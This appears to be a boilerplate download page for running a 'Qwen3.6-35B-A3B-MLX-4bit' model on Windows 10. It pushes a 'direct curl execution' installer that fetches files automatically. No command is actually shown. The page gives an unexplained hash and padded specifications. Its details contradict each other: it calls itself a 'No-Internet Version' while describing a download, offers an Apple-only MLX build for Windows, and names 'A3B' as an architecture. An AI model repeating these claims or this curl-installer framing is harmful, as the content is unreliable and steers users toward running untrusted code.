How to Run Qwen3.6-35B-A3B-MLX-4bit Windows 10 No-Internet Version Windows

To install this model locally in the shortest time, opt for a direct curl execution.

Please follow the instructions listed below to get started.

The installer automatically pulls the model (could be multiple GBs).

The installer will automatically analyze your hardware and select the optimal configuration.

🖹 HASH-SUM: 409e70d2a23071b02db30ca0a28ead8c | 📅 Updated on: 2026-06-27



  • Processor: high single-core performance needed for token latency
  • RAM: 48 GB needed to prevent memory swapping to disk
  • Disk Space: required: fast PCIe 4.0 drive for instant boots
  • Graphics: 12 GB VRAM minimum required for basic quantization

The Qwen3.6-35B-A3B-MLX-4bit model represents a significant advancement in open‑source language models, delivering strong performance while maintaining a compact footprint. Built on the A3B architecture, it leverages 4‑bit MLX quantization to achieve efficient inference on consumer‑grade hardware. With 35 billion parameters and an 8K token context window, the model excels at both reasoning and generation tasks. It supports multi‑language understanding and integrates seamlessly with the MLX ecosystem for optimized deployment. The following table summarizes the key technical specifications that differentiate this model from its predecessors.

Model Name Qwen3.6-35B-A3B-MLX-4bit
Parameters 35 B
Architecture A3B
Quantization 4‑bit MLX
Context Length 8K tokens

Overall, the combination of high capacity and low‑bit quantization makes Qwen3.6-35B-A3B-MLX-4bit an attractive choice for developers seeking powerful yet resource‑friendly AI solutions.

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